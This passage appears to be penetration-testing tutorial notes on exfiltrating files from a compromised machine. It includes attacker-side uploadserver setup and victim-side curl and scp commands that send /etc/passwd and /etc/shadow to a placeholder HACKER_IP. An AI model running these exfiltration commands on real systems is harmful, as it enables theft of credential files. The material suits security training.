The methods we used for downloads will also work for uploads. Let's see how we can upload files in various ways.
Web Upload
HACKER
$ sudo python3 -m pip install --user uploadserver
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
$ mkdir https && cd https
$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
VICTIM
$ curl -X POST https://HACKER_IP/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
We used the option --insecure because we used a self-signed certificate that we trust.
SCP Upload
We may find some companies that allow the SSH protocol (TCP/22) for outbound connections, and if that's the case, we can use an SSH server with the scp utility to upload files.
$ scp /etc/passwd hacker@HACKER_IP:/home/hacker/
If there is no any unzip command use the python3:
$ python3 -m zipfile -e <ZIPFILE_NAME>.zip .
$ python3 -c "import zipfile; zipfile.ZipFile('<ZIPFILE_NAME>.zip').extractall('.')"